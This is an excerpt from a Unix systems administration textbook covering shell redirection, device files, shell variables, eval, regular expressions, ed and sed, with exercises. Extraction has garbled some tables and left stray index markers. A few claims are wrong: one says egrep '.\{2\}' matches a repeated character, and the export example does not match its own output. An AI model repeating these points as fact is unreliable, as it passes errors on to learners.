 85321, Systems Administration Chapter 6: The shell

I/O redirection examples

 ls > the.files
Create a file the.files that contains the list of files in the current directory.
 cat the.files | more
Same effect as the command more the.files. Display the content of the file
the.files one page at a time.
 ls /etc >> the.files
Add the list of files in from the /etc directory onto the end of the file the.files.
 echo number of lines in the.files = `wc -l the.files`
Execute the command wc -l the.files. Replace it with its output and then
execute the echo command. Will display output similar to number of lines in
the.files = 66
 cat << finished > input
Ask the user to type in information until they enter a line with just finished on it.
Then copy all the information entered by the user into the file called input
 cd /etc > output.file
Create an empty file called output.file. The cd command generates no output so
redirecting its output creates an empty file.
 ls | cd
An error message. cd doesn't accept input so when the shell tries to send the output
of the ls command to the cd command it doesn't work.
 echo `wc -l /etc/passwd`
Execute the wc command and pass its output to the echo command as arguments.

Redirecting standard error

There will be times where you wish to either throw standard error away, join standard
error and standard output, or just view standard error. This section provides examples
of how this can be accomplished using I/O redirection.
$ ls xx the file xx doesn't exist
/bin/ls: xx: No such file or
display an error message on standard
directory
error

$ ls xx > errors redirect standard output to the file

/bin/ls: xx: No such file or
errors, no change
directory

$ ls xx 2> errors redirect standard error to the file

errors nothing on the screen

$ ls chap1.ps xx 2> errors file chap1.ps does exist so

David Jones, Bruce Jamieson (2/20/25) Page 128

 85321, Systems Administration Chapter 6: The shell

chap1.ps we get output but the errors still go to the

file

$ ls chap1.ps xx >& 2 2> errors try to send both stdout and stderr to the
chap1.ps
errors file, but stdout doesn't go

$ ls chap1.ps xx 2> errors >& 2 try a different order and it

$
does work, why?

Evaluating from left to right

The shell evaluates arguments from left to right, that is it works with each argument
starting with those from the left. This can influence how you might want to use the I/O
redirection special characters.

For example
An example of how this influences how you use I/O redirection is the situation where
you wish to send both standard output and standard error of a command to the same
file.
A first attempt at this might be the following. This example is attempting to view the
attributes of the two files chap1.ps and xx. The idea is that the file xx does not
exist so the ls command will generate an error when it can’t find the file. Both the
error and the file attributes of the chap1.ps file are meant to be sent to a file called
errors. It won’t work. Try it on your system. Can you explain why?

$ ls –l chap1.ps xx >& 2 2> output.and.errors

chap1.ps
The reason it doesn’t work is that the shell evaluates the command from left to right.
The order of evaluation then is
 ls
The first argument tells the shell what command should be executed.
 -l
The shell won’t recognise any special characters in this argument so it will pass it
on directly to the command.
 chap1.ps
Again the shell won’t see any shell special characters and so passes this argument
directly onto the command.
 xx
Same again.
 >&2
Now some action. The shell recognises some special characters here. It knows

David Jones, Bruce Jamieson (2/20/25) Page 129

 85321, Systems Administration Chapter 6: The shell

that >& are I/O redirection characters. These characters tell the shell that it should
redirect standard output for this command to the same place as standard error.
(The 2 is the file descriptor for standard error. There is no number associated
with the > character so standard output is assumed). The current location
standard error is pointing to is the process’s terminal. So standard output goes to
the process’ terminal. No change from normal.
 2>
Again the shell will see shell special characters. In this case, the shell knows that
standard error should be redirected to the location specified in the next argument.
 output.and.errors
This is where the shell will send the standard error of the command, a file called
output.and.errors.
The outcome of this is that standard output still goes to the terminal and standard error
goes to the file output.and.errors.
What we wanted is for both standard output and standard error to go to the file. The
problem is the order in which the shell evaluated the arguments. The solution is to
switch the I/O redirection shell characters.

$ ls –l chap1.ps xx 2> output.and.errors >&2

Changing the order means that standard error is redirected to the file
output.and.errors and then standard output is redirected to where standard
error is pointing (the same file).

Everything is a file
One of the features of the UNIX operating system is that almost everything can be
treated as a file. This combined with I/O redirection allows you to achieve some
powerful and interesting results.
You've already seen that by default stdin is the keyboard and stdout is the screen of
your terminal. The UNIX operating system treats these devices as files (remember the
shell sets up file descriptors for standard input/output). But which file is used?

tty

The tty command is used to display the filename of the terminal you are using.
$ tty
/dev/ttyp1
In the above example my terminal is accessed through the file /dev/ttyp1. This
means if I execute the following command
cat /etc/passwd > /dev/ttyp1

David Jones, Bruce Jamieson (2/20/25) Page 130

85321, Systems Administration Chapter 6: The shell

standard output will be redirected to /dev/ttyp1 which is where it would've gone

anyway.

David Jones, Bruce Jamieson (2/20/25) Page 131

 85321, Systems Administration Chapter 6: The shell

Exercises

6.4 What would the following command do?

ls > `tty`

Device files

/dev/ttyp1 is an example of a device file. A device file is a interface to one of the

kernel's device drivers. A device driver is a part of the Linux kernel. It knows how to
talk to a specific hardware device and presents a standard programming interface that
is used by software.
When you redirect I/O to/from a device file the information is passed through the
device file, to the device driver and eventually to the hardware device or peripheral. In
the previous example the contents of the /etc/passwd file were sent through the
device file /dev/ttyp1, to a device driver. The device driver then displayed it on an
appropriate device.

/dev

All of the system's device files will be stored under the directory /dev. A standard
Linux system is likely to have over 600 different device files. The following table
summarises some of the device files.

filename purpose filename purpose

/dev/hda The first IDE disk /dev/hda1 the first partition on
drive the first IDE disk
drive
/dev/sda The first SCSI disk /dev/sda1 the first partition on
drive the first SCSI drive
/dev/audio Sound card /dev/cdrom CD-ROM drive
/dev/fd0 First floppy drive /dev/ttyS1 the second serial
port
Ta b l e 6 . 7
Example device files

Redirecting I/O to device files

As you've seen it is possible to send output or obtain input from a device file. That
particular example was fairly boring, here's another.
cat beam.au > /dev/audio
This one sends a sound file to the audio device. The result (if you have a sound card)
is that the sound is played.

David Jones, Bruce Jamieson (2/20/25) Page 132

 85321, Systems Administration Chapter 6: The shell

When not to

If you examine the file permissions of the device file /dev/hda1 you'll find that only
the root user and the group disk can write to that file. You should not be able to
redirect I/O to/from that device file (unless you are the root user).
If you could it would corrupt the information on the hard-drive. There are other device
files that you should not experiment with. These other device file should also be
protected with appropriate file permissions.

/dev/null

/dev/null is the UNIX "garbage bin". Any output redirected to /dev/null is thrown
away. Any input redirected from /dev/null is empty. /dev/null can be used to
throw away output or create an empty file.
cat /etc/passwd > /dev/null
cat > newfile < /dev/null
The last command is one way of creating an empty file.

Exercises

6.5 Using I/O redirection how would you perform the following tasks
- display the first field of the /etc/passwd file sorted in descending order
- find the number of lines in the /etc/passwd file that contain the word bash

Shell variables
The shell provides a variable mechanism where you can store information for future
use. Shell variables are used for two main purposes: shell programming and
environment control. This section provides an introduction to shell variables and
their use in environment control. A later chapter discusses shell programming in
more detail.

Environment control

Whenever you run a shell it creates an environment. This environment includes pre-
defined shell variables used to store special values including
 the format of the prompt the shell will present to you
 your current path
 your home directory
 the type of terminal you are using

David Jones, Bruce Jamieson (2/20/25) Page 133

85321, Systems Administration Chapter 6: The shell

 and a great deal more.

Any shell variable you create will be stored within this environment.

David Jones, Bruce Jamieson (2/20/25) Page 134

 85321, Systems Administration Chapter 6: The shell

The set command

The set command can be used to view you shell's environment. By executing the set
command without any parameters it will display all the shell variables currently within
your shell's environment.

Using shell variables

There are two main operations performed with shell variables
 assign a variable a value
 use a variable's value

Assigning a value

Assigning value to a shell variable is much the same as in any programming language
variable_name=value.

my_variable=hello
theNum=5
myName="David Jones"
A shell variable can be assigned just about any value, though there are a few
guidelines to keep in mind.
A space is a shell special character. If you want your shell variable to contain a space
you must tell the shell to ignore the space's special meaning. In the above example I've
used the double quotes. For the same reason there should never be any spaces
around the = symbol.

Accessing a variable's value

To access a shell variable's value we use the $ symbol. The $ is a shell special
character that indicates to the shell that it should replace a variable with its value.

For example

dinbig$ myName="David Jones"

dinbig$ echo My name is $myName
My name is David Jones
dinbig$ command=ls
dinbig$ $command
Mail ethics.txt papers
dinbig$ echo A$empty:
A:

David Jones, Bruce Jamieson (2/20/25) Page 135

 85321, Systems Administration Chapter 6: The shell

Uninitialised variables

The last command in the above example demonstrates what the value of a variable is
when you haven't initialised it. The last command tries to access the value for the
variable empty.
But because the variable empty has never been initialised it is totally empty. Notice
that the result of the command has nothing between the A and the :.

Resetting a variable

It is possible to reset the value of a variable as follows

myName=
This is totally different from trying this
myName=' '
This example sets the value of myName to a space character NOT nothing.

The readonly command

As you might assume the readonly command is used to make a shell variable
readonly. Once you execute a command like
readonly my_variable
The shell variable my_variable can no longer be modified.
To get a list of the shell variables that are currently set to read only you run the
readonly command without any parameters.

The unset command

Previously you've been shown that to reset a shell variable to nothing as follows
variable=
But what happens if you want to remove a shell variable from the current
environment? This is where the unset command comes in. The command
unset variable
Will remove a variable completely from the current environment.
There are some restrictions on the unset command. You cannot use unset on a read
only variable or on the pre-defined variables IFS, PATH, PS1, PS2

David Jones, Bruce Jamieson (2/20/25) Page 136

 85321, Systems Administration Chapter 6: The shell

Arithmetic

UNIX shells do not support any notion of numeric data types such as integer or real.
All shell variables are strings. How then do you perform arithmetic with shell
variables?
One attempt might be
dinbig:~$ count=1
dinbig:~$ Rcount=$count+1
But it won't work. Think about what happens in the second line. The shell sees $count
and replaces it with the value of that variable so we get the command count=1+1.
Since the shell has no notion of an integer data type the variable count now takes on
the value 1+1 (just a string of characters).

The expr command

The UNIX command expr is used to evaluate expressions. In particular it can be used
to evaluate integer expressions. For example
dinbig:~$ expr 5 + 6
11
dinbig:~$ expr 10 / 5
2
dinbig:~$ expr 5 \* 10
50
dinbig:~$ expr 5 + 6 * 10
expr: syntax error
dinbig:~$ expr 5 + 6 \* 10
65
Note that the shell special character * has to be quoted. If it isn't the shell will replace
it with the list of all the files in the current directory which results in expr generating a
syntax error.

Using expr

By combining the expr command with the grave character ` we have a mechanism for
performing arithmetic on shell variables. For example
count=1
count=`expr $count + 1`

expr restrictions

The expr command only works with integer arithmetic. If you need to perform
floating point arithmetic have a look at the bc and awk commands.

David Jones, Bruce Jamieson (2/20/25) Page 137

 85321, Systems Administration Chapter 6: The shell

The expr command accepts a list of parameters and then attempts to evaluate the
expression they form. As with all UNIX commands the parameters for the expr
command must be separated by spaces. If you don't expr interprets the input as a
sequence of characters.
dinbig:~$ expr 5+6
5+6
dinbig:~$ expr 5+6 \* 10
expr: non-numeric argument

Valid variable names

Most programming languages have rules that restrict the format of variable names. For
the Bourne shell, variable names must
 start with either a letter or an underscore character,
 followed by zero or more letters, numbers or underscores

{}

In some cases you will wish to use the value of a shell variable as part of a larger
word. Curly braces { } are used to separate the variable name from the rest of the
word.

For example

You want to copy the file /etc/passwd into the directory /home/david. The
following shell variables have been defined.
directory=/etc/
home=/home/david
A first attempt might be
cp $directorypasswd $home
This won't work because the shell is looking for the shell variable called
directorypasswd (there isn't one) instead of the variable directory.

The correct solution would be to surround the variable name directory with curly
braces. This indicates to the shell where the variable stops.
cp ${directory}passwd $home

Environment control
Whenever you run a shell it creates an environment in which it runs. This environment
specifies various things about how the shell looks, feels and operates. To achieve this

David Jones, Bruce Jamieson (2/20/25) Page 138

85321, Systems Administration Chapter 6: The shell

the shell uses a number of pre-defined shell variables. Table 6.8 summarises these
special shell variables.

David Jones, Bruce Jamieson (2/20/25) Page 139

 85321, Systems Administration Chapter 6: The shell

Variable name Purpose

XE your home directory
"HOME"HOME
XE the executable program for the shell you
"SHELL"SHELL are using
XE "UID"UID your user id
XE your username
"USER"USER
XE the type of terminal you are using
"TERM"TERM
XE your X-Windows display
"DISPLAY"DIS
PLAY
XE your executable path
"PATH"PATH
Ta b l e 6 . 8
Environment variables

PS1 and PS2

The shell variables PS1 and PS2 are used to store the value of your command prompt.
Changing the values of PS1 and PS2 will change what your command prompt looks
like.
dinbig:~$ echo :$PS1: and :$PS2:
:\h:\w\$ : and :> :
PS2 is the secondary command prompt. It is used when a single command is spread
over multiple lines. You can change the values of PS1 and PS2 just like you can any
other shell variable.

bash extensions

You'll notice that the value of PS1 above is \h:\w\$ but my command prompt looks
like dinbig:~$.
This is because the bash shell provides a number of extra facilities. One of those
facilities is that it allows the command prompt to contain the hostname \h(the name of
my machine) and the current working directory \w.
With older shells it was not possible to get the command prompt to display the current
working directory.
6.6 Many first time users of older shells attempt to get the command prompt to
contain the current directory by trying this
PS1=`pwd`

David Jones, Bruce Jamieson (2/20/25) Page 140

 85321, Systems Administration Chapter 6: The shell

The pwd command displays the current working directory. Explain why this
will not work. (HINT: When is the pwd command executed?)

Variables and sub-shells

Every time you start a new shell, the new shell will create a new environment separate
from its parent's environment. The new shell will not be able to access or modify the
environment of its parent shell.

For example

Here's a simple example.

dinbig:~$ myName=david create a shell variable
dinbig:~$ echo $myName use it
david
dinbig:~$ bash start a new shell
dinbig:~$ echo my name is $myName try to use the parent shell's variable
my name is
dinbig:~$ exit exit from the new shell and return to the
parent
dinbig:~$ echo $myName use the variable again
david

As you can see a new shell cannot access or modify the shell variables of its parent
shells.

export

There are times when you may wish a child or sub-shell to know about a shell variable
from the parent shell. For this purpose you use the export command. For example,
dinbig:~$ myName=David Jones
dinbig:~$ bash
dinbig:~$ echo my name is $myName
my name is
dinbig:~$ logout
dinbig:~$ export myName
dinbig:~$ bash
dinbig:~$ echo my name is $myName
my name is david
dinbig:~$ exit

Local variables

David Jones, Bruce Jamieson (2/20/25) Page 141

85321, Systems Administration Chapter 6: The shell

When you export a variable to a child shell the child shell creates a local copy of the
variable. Any modification to this local variable cannot be seen by the parent process.
There is no way in which a child shell can modify a shell variable of a parent process.
The export command only passes shell variables to child shells. It cannot be used to
pass a shell variable from a child shell back to the parent.

David Jones, Bruce Jamieson (2/20/25) Page 142

 85321, Systems Administration Chapter 6: The shell

For example

dinbig:~$ echo my name is $myName

my name is david
dinbig:~$ export myName
dinbig:~$ bash
dinbig:~$ myName=fred # child shell modifies variable
dinbig:~$ exit
dinbig:~$ echo my name is $myName
my name is david
# there is no change in the parent

Advanced variable substitution

The shell provides a number of additional more complex constructs associated with
variable substitution. The following table summarises them.
Construct Purpose
${variable:-value} replace this construct with the variable's value if it
has one, if it doesn't, use value but don't make
variable equal to value
${variable:=value} same as the above but if variable has no value
assign it value
${variable:?message} replace the construct with the value of the variable
if it has one, if it doesn't then display message onto
stderr if message is null then display prog:
variable: parameter null or not set on
stderr
${variable:+value} if variable has a value replace it with value
otherwise do nothing
Ta b l e 6 . 9
Advanced variable substitution

For example

dinbig:~$ myName=
dinbig:~$ echo my name is $myName
my name is
dinbig:~$ echo my name is ${myName:-"NO NAME"}
my name is NO NAME
dinbig:~$ echo my name is $myName
my name is
dinbig:~$ echo my name is ${myName:="NO NAME"}
my name is NO NAME
dinbig:~$ echo my name is $myName
my name is NO NAME
dinbig:~$ herName=

David Jones, Bruce Jamieson (2/20/25) Page 143

 85321, Systems Administration Chapter 6: The shell

dinbig:~$ echo her name is ${herName:?"she hasn't got a name"}

bash: herName: she hasn't got a name
dinbig:~$ echo her name is ${herName:?}
bash: herName: parameter null or not set
[faile]$ echo ${tmp:?hello there}
bash: tmp: hello there
In this case the variable $tmp doesn't have a value yet so the shell displays the message "hello there"
[faile]$ tmp=fred
[faile]$ echo ${tmp:?hello there}
fred
Now that tmp does have a value the shell displays the value.
[faile]$ echo ${tmp2:?}
bash: tmp2: parameter null or not set
And this is what happens when the variable doesn't have a value and the message is null.

Evaluation order
In this chapter we've looked at the steps the shell performs between getting the user's
input and executing the command. The steps include
 filename substitution
 I/O redirection
 variable substitution
An important question is in what order does the shell perform these steps?

Why order is important

Look at the following example

dinbig:~$ pipe=\|
dinbig:~$ echo $pipe
|
dinbig:~$ star=\*
dinbig:~$ echo $star
Mail News README VMSpec.ps.bak acm.bhx acm2.dot
In the case of the echo $start command the shell has seen $star and replaced it
with its value *. The shell sees the * and replaces it with the list of the files in the
current directory.
In the case of the echo $pipe command the shell sees $pipe and replaces it with its
value |. It then displays | onto the screen.
Why didn't it treat the | as a special character? If it had then echo | would've
generated an error message. The reason is related to the order in which the shell
performs its analysis of shell special variables.

The order

David Jones, Bruce Jamieson (2/20/25) Page 144

 85321, Systems Administration Chapter 6: The shell

The order in which the shell performs the steps is

 I/O redirection
 variable substitution
 filename substitution
For the command
echo $PIPE
the shell performs the following steps
 check for any I/O redirection characters, there aren't any, the command line is
currently echo $PIPE
 check for variables, there is one $PIPE, replace it with its value, the command line
is now echo |
 check for any wildcards, there aren't any
So it now executes the command echo |.
If you do the same walk through for the echo $star command you should see how its
output is achieved.

The eval command

What happens if I want to execute the following command
ls $pipe more
using the shell variable pipe from the example above?
The intention is that the pipe shell variable should be replaced by its value | and that
the | be used to redirect the output of the ls command to the more command.
Due to the order in which the shell performs its evaluation this won't work.

Doing it twice

The eval command is used to evaluate the command line twice. eval is a built-in
shell command. Take the following command (using the pipe shell variable from
above)
eval ls $pipe more
The shell sees the $pipe and replaces it with its value, |. It then executes the eval
command.
The eval command repeats the shell's analysis of its arguments. In this case it will see
the | and perform necessary I/O redirection while running the commands.

Conclusion

David Jones, Bruce Jamieson (2/20/25) Page 145

85321, Systems Administration Chapter 6: The shell

The UNIX command line interface is provided by programs called shells. A shell's
responsibilities include
 providing the command line interface
 performing I/O redirection
 performing filename substitution
 performing variable substitution
 and providing an interpreted programming language
A shell recognises a number of characters as having special meaning. Whenever it sees
these special characters it performs a number of tasks that replace the special
characters.
When a shell is executed it creates an environment in which to run. This environment
consists of all the shell variables created including a number of pre-defined shell
variables that control its operation and appearance.

Review Questions
6.1

What is the effect of the following command sequences?

 ls | wc -l
 rm ???
 who | wc -l
 mv progs/* /usr/steve/backup
 ls *.c | wc -l
 rm *.o
 who | sort
 cd ; pwd
 cp memo1 ..
 ls -l | sort +4n

6.2

What is the output of the following commands? Are there any problems? How would
you fix it?
 echo this is a star *
 echo ain\\\\'t you my friend
 echo "** hello **"
 echo "the output of the ls command is `ls`"
 echo `the output of the pwd command is `pwd``

6.3

Which of the following are valid shell variable names?

David Jones, Bruce Jamieson (2/20/25) Page 146

85321, Systems Administration Chapter 6: The shell

 XxXxXxXx
 _
 12345
 HOMEDIR
 file.name
 _date
 file_name
 x0-9
 file1
 Slimit

David Jones, Bruce Jamieson (2/20/25) Page 147

85321, Systems Administration Chapter 6: The shell

6.4
Suppose your HOME directory is /usr/steve and that you have subdirectory as
shown in figure 6.3.
Assuming you just logged onto the system and executed the following commands:
docs=/usr/steve/documents
let=$docs/letters
prop=$docs/proposals
Write commands to do the following using these variables
List the contents of the documents directory
 Copy all files from the letters directory to the proposals directory
 Move all files with names that contain a capital letter from the letters directory
to the current directory.
 Count the number of files in the memos directory.
What would be the effect of the following commands?
 ls $let/..
 cat $prop/sys.A >> $let/no.JSK
 echo $let/*
 cp $let/no.JSK $prop
 cd $prop
 files_in_prop=`echo $prop*`
 cat `echo $let\*`
Figure 6.3

Review Question 6.4

David Jones, Bruce Jamieson (2/20/25) Page 148

85321, Systems Administration Chapter 7: Text Manipulation

Chapter 7
Text Manipulation

Introduction
Many of the tasks a Systems Administrator will perform involve the manipulation of
textual information. Some examples include manipulating system log files to
generate reports and modifying shell programs. Manipulating textual information is
something which UNIX is quite good at and provides a number of tools which make
tasks like this quite simple, once you understand how to use the tools. The aim of
this chapter is to provide you with an understanding of these tools
By the end of this chapter you should be
 familiar with using regular expressions,
 able to use regular expressions and ex commands to perform powerful text
manipulation tasks.

Regular expressions
Regular expressions provide a powerful method for matching patterns of characters.
Regular expressions (REs) are understood by a number of commands including ed ex
sed awk grep egrep, expr and even vi.

Some examples of regular expressions look like include

 david
Will match any occurrence of the word david
 [Dd]avid
Will match either david or David
 .avid
Will match any letter (.) followed by avid
 ^david$
Will match any line that contains only david
 d*avid
Will match avid, david, ddavid dddavid and any other word with repeated ds
followed by avid
 ^[^abcef]avid$
Will match any line with only five characters on the line, where the last four
characters must be avid and the first character can be any character except abcef.

David Jones, Bruce Jamieson (2/20/25) Page 149

 85321, Systems Administration Chapter 7: Text Manipulation

Each regular expression is a pattern. That pattern is used to match other text. The
simplest example of how regular expressions are used by commands is the grep
command.
The grep command was introduced in a previous chapter and is used to search
through a file and find lines that contain particular patterns of characters. Once it
finds such a line, by default, the grep command will display that line onto standard
output. In that previous chapter you were told that grep stood for global regular
expression pattern match. Hopefully you now know what a regular expression is.
This means that the patterns that grep searches for are regular expressions.
The following are some example command lines making use of the grep command
and regular expressions
 grep unix tmp.doc
find any lines contain unix
 grep '[Uu]nix' tmp.doc
find any lines containing either unix or Unix. Notice that the regular expression
must be quoted. This is to prevent the shell from treating the [] as shell special
characters and performing file name substitution.
 grep '[^aeiouAEIOU]*' tmp.doc
Match any number of characters that do not contain a vowel.
 grep '^abc$' tmp.doc
Match any line that contains only abc.
 grep 'hel.' tmp.doc
Match hel followed by any other character.

REs versus filename substitution

It is important that you realise that regular expressions are different from filename
substitution. If you look in the previous examples using grep you will see that the
regular expressions are sometimes quoted. One example of this is the command
grep '[^aeiouAEIOU]*' tmp.doc
Remember that [^] and * are all shell special characters. If the quote characters (‘’)
were not there the shell would perform filename substitution and replace these special
characters with matching filenames.
In this example command we do not want this to happen. We want the shell to ignore
these special characters and pass them to the grep command. The grep command
understands regular expressions and will treat them as such.
Regular expressions have nothing to do with filename substitution, they are in fact
completely different. Table 7.1 highlights the differences between regular expressions
and filename substitution.

David Jones, Bruce Jamieson (2/20/25) Page 150

85321, Systems Administration Chapter 7: Text Manipulation

Filename substitution Regular expressions

Performed by the shell Performed by individual commands
used to match filenames Used to match patterns of characters
in data files
Ta b l e 7 . 1
Regular expressions versus filename substitution

How they work

Regular expressions use a number of special characters to match patterns of

characters. Table 7.2 outlines these special characters and the patterns they match.
Character Matches
c if c is any character other than \ [ . * ^ ] $
then it will match a single occurrence of
that character
\ remove the special meaning from the
following character
. any one character
^ the start of a line
$ the end of a line
* 0 or more matches of the previous RE
[chars] any one character in chars a list of
characters
[^chars] any one character NOT in chars a list of
characters
Ta b l e 7 . 2
Regular expression characters

Exercises

7.1 What will the following simple regular expressions match?

fred
[^D]aily
..^end$
he..o
he\.\.o
\$fred
$fred

Extensions to regular expressions

Regular expressions are one area in which the heterogeneous nature of UNIX becomes
apparent. Regular expressions can be divided into a number of different categories.

David Jones, Bruce Jamieson (2/20/25) Page 151

85321, Systems Administration Chapter 7: Text Manipulation

Different programs on different platforms recognise different subsets of regular

expressions.
Under Linux the commands that use regular expressions recognise three basic flavours
of regular expressions
 basic regular expressions,
Those listed in Table 7.2 plus the tagging concept introduced below.
 extended regular expressions, and
Basic REs plus some additional constructs from Table 7.3.
 command specific extensions. For example, under Linux sed recognises two
additions to REs.
Extended regular expressions add the symbols in Table 7.3 to regular expressions.
Construct Purpose
+ match one or more occurrences of the
previous RE
? match zero or one occurrences of the
previous RE
| match either one of two REs separated by
the |
\{n\} match exactly n occurrences of the
previous RE
\{n,\} match at least n occurrences of the
previous RE
\{n, m\} match between n and m occurrences of the
previous RE
Ta b l e 7 . 3
Extended regular expressions

Examples

Some examples with extended REs include

 egrep 'a?' pattern
Match any line from pattern with 0 or 1 a's. (all lines in pattern)
 egrep '(a|b)+' pattern
Match any line that contains one more occurrences of an a or a b
 egrep '.\{2\}' pattern
Match any line that contains the same two characters in a row.
 egrep '.\{2,\}' pattern
Match any line that contains at least two of the same character in a row.

Exercises

David Jones, Bruce Jamieson (2/20/25) Page 152

 85321, Systems Administration Chapter 7: Text Manipulation

7.2 Write grep commands that use REs to carry out the following.
1. Find any line starting with j in the file /etc/passwd (equivalent to
asking to find any username that starts with j).
2. Find any user that has a username that starts with j and uses bash as their
login shell (if they use bash their entry in /etc/passwd will end with the full
path for the bash program).
3. Find any user that belongs to a group with a group ID between 0 and 99
(group id is the fourth field on each line in /etc/passwd).

Tagging
Tagging is an extension to regular expressions which allows you to recognise a
particular pattern and store it away for future use. For example, consider the regular
expression
da\(vid\)
The portion of the RE surrounded by the \( and \) is being tagged. Any pattern of
characters that matches the tagged RE, in this case vid, will be stored in a register.
The commands that support tagging provide a number of registers in which character
patterns can be stored.
It is possible to use the contents of a register in a RE. For example,
\(abc\)\1\1
The first part of this RE defines the pattern that will be tagged and placed into the first
register (remember this pattern can be any regular expression). In this case the first
register will contain abc. The 2 following \1 will be replaced by the contents of
register number 1. So this particular example will match abcabcabc.
The \ characters must be used to remove the other meaning which the brackets and
numbers have in a regular expression.

For example

Some example REs using tagging include

 \(david\)\1
This RE will match daviddavid. It first matches david and stores it into the first
register (\(david\)). It then matches the contents of the first register (\1).
 \(.\)oo\1
Will match words such as noon, moom.
For the remaining RE examples and exercises I'll be referring to a file called pattern.
The following is the contents of pattern.
a
hellohello

David Jones, Bruce Jamieson (2/20/25) Page 153

 85321, Systems Administration Chapter 7: Text Manipulation

goodbye
friend how hello
there how are you how are you
ab
bb
aaa
lll
Parameters
param

David Jones, Bruce Jamieson (2/20/25) Page 154

85321, Systems Administration Chapter 7: Text Manipulation

Exercises

7.3 What will the following commands do

grep '\(a\)\1' pattern
grep '\(.*\)\1' pattern
grep '\( .*\)\1' pattern

ex, ed, sed and vi

So far you’ve been introduced to what regular expressions do and how they work. In
this section you will be introduced to some of the commands which allow you to use
regular expressions to achieve some quite powerful results.
In the days of yore UNIX did not have full screen editors. Instead the users of the day
used the line editor ed. ed was the first UNIX editor and its impact can be seen in
commands such as sed, awk, grep and a collection of editors including ex and vi.
vi was written by Bill Joy while he was a graduate student at the University of
California at Berkeley (a University responsible for many UNIX innovations). Bill
went on to do other things including being involved in the creation of Sun
Microsystems.
vi is actually a full-screen version of ed. Whenever you use :wq to save and quit out
of vi you are using a ed command.

So???

All very exciting stuff but what does it mean to you a trainee Systems Administrator?
It actually has at least three major impacts
 by using vi you can become familiar with the ed commands
 ed commands allow you to use regular expressions to manipulate and modify text
 those same ed commands, with regular expressions, can be used with sed to
perform all these tasks non-interactively (this means they can be automated).

Why use ed?

Why would anyone ever want to use a line editor like ed?
Well in some instances the Systems Administrator doesn't have a choice. There are
circumstances where you will not be able to use a full screen editor like vi. In these
situations a line editor like ed or ex will be your only option.

David Jones, Bruce Jamieson (2/20/25) Page 155

85321, Systems Administration Chapter 7: Text Manipulation

One example of this is when you boot a Linux machine with installation boot and root
disks. These disks usually don't have space for a full screen editor but they do have ed.

David Jones, Bruce Jamieson (2/20/25) Page 156

 85321, Systems Administration Chapter 7: Text Manipulation

ed commands

edis a line editor that recognises a number of commands that can manipulate text.
Both vi and sed recognise these same commands. In vi whenever you use the :
command you are using ed commands. ed commands use the following format.
[ address [, address]] command [parameters]
(you should be aware that anything between [] is optional)

This means that every ed command consists of

 0 or more addresses that specify which lines the command should be performed
upon,
 a single character command, and
 an optional parameter (depending on the command)

For example

Some example ed commands include

 1,$s/old/new/g
The address is 1,$ which specifies all lines. The command is the substitute
command. With the following text forming the parameters to the command. This
particular command will substitute all occurrences of the work old with the word
new for all lines within the current file.
 4d3
The address is line 4. The command is delete. The parameter 3 specifies how many
lines to delete. This command will delete 3 lines starting from line 4.
 d
Same command, delete but no address or parameters. The default address is the
current line and the default number of lines to delete is one. So this command
deletes the current line.
 1,10w/tmp/hello
The address is from line 1 to line 10. The command is write to file. This command
will write lines 1 to 10 into the file /tmp/hello

The current line

The ed family of editors keep track of the current line. By default any ed command is
performed on the current line. Using the address mechanism it is possible to specify
another line or a range of lines on which the command should be performed.
Table 7.4 summarises the possible formats for ed addresses.

David Jones, Bruce Jamieson (2/20/25) Page 157

85321, Systems Administration Chapter 7: Text Manipulation

Address Purpose
. the current line
$ the last line
7 line 7, any number matches that line number
a the line that has been marked as a
/RE/ the next line matching the RE moving forward from the
current line
?RE? the next line matching the RE moving backward from
the current line
Address+n the line that is n lines after the line specified by
address
Address-n the line that is n lines before the line specified by
address
Address1, address2 a range of lines from address1 to address2
, the same as 1,$, i.e. the entire file from line 1 to the
last line ($)
; the same as .,$, i.e. from the current line (.) to the
last line ($)
Ta b l e 7 . 4
ed addresses

ed commands

Regular users of vi will be familiar with the ed commands w and q (write and quit). ed
also recognises commands to delete lines of text, to replace characters with other
characters and a number of other functions.
Table 7.5 summarises some of the ed commands and their formats. In Table 7.5 range
can match any of the address formats outlined in Table 7.4.

David Jones, Bruce Jamieson (2/20/25) Page 158

 85321, Systems Administration Chapter 7: Text Manipulation

Address Purpose
linea the append command, allows the user to
add text after line number line
range d buffer count the delete command, delete the lines
specified by range and count and place
them into the buffer buffer
range j count the join command, takes the lines
specified by range and count and
makes them one line
q quit
line r file the read command, read the
contents of the file file and
place them after the line line
sh start up a new shell
range s/RE/characters/options the substitute command, find any
characters that match RE and
replace them with characters but
only in the range specified by
range
u the undo command,
range w file the write command, write to the
file file all the lines specified
by range
Ta b l e 7 . 5
ed commands

For example

Some more examples of ed commands include

 5,10s/hello/HELLO/
replace the first occurrence of hello with HELLO for all lines between 5 and 10
 5,10s/hello/HELLO/g
replace all occurrences of hello with HELLO for all lines between 5 and 10
 1,$s/^\(.\{20,20\}\)\(.*\)$/\2\1/
for all lines in the file, take the first 20 characters and put them at the end of the
line

The last example

The last example deserves a bit more explanation. Let's break it down into its
components
 1,$s
The 1,$ is the range for the command. In this case it is the whole file (from line 1
to the last line). The command is substitute so we are going to replace some text
with some other text.

David Jones, Bruce Jamieson (2/20/25) Page 159

 85321, Systems Administration Chapter 7: Text Manipulation

 /^
The / indicates the start of the RE. The ^ is a RE pattern and it is used to match the
start of a line (see Table 7.2).
 \(.\{20,20\}\)
This RE fragment .\{20,20\} will match any 20 characters. By surrounding it
with \( \) those 20 characters will be stored in register 1.
 \(.*\)$
The .* says match any number of characters and surrounding it with \( \) means
those characters will be placed into the next available register (register 2). The $ is
the RE character that matches the end of the line. So this fragment takes all the
characters after the first 20 until the end of the line and places them into register 2.
 /\2\1/
This specifies what text should replace the characters matched by the previous RE.
In this case the \2 and the \1 refer to registers 1 and 2. Remember from above that
the first 20 characters on the line have been placed into register 1 and the
remainder of the line into register 2.

The sed command

sed is a non-interactive version of ed. sed is given a sequence of ed commands and

then performs those commands on its standard input or on files passes as parameters.
It is an extremely useful tool for a Systems Administrator. The ed and vi commands
are interactive which means they require a human being to perform the tasks. On the
other had sed is non-interactive and can be used in shell programs which means tasks
can be automated.

sed command format

By default the sed command acts like a filter. It takes input from standard input and
places output onto standard output. sed can be run using a number of different
formats.
sed command [file-list]
sed [-e command] [-f command_file] [filelist]
command is one of the valid ed commands.
The -e command option can be used to specify multiple sed commands. For
example,
sed –e '1,$s/david/DAVID/' –e '1,$s/bash/BASH/' /etc/passwd
The -f command_file tells sed to take its commands from the file command_file.
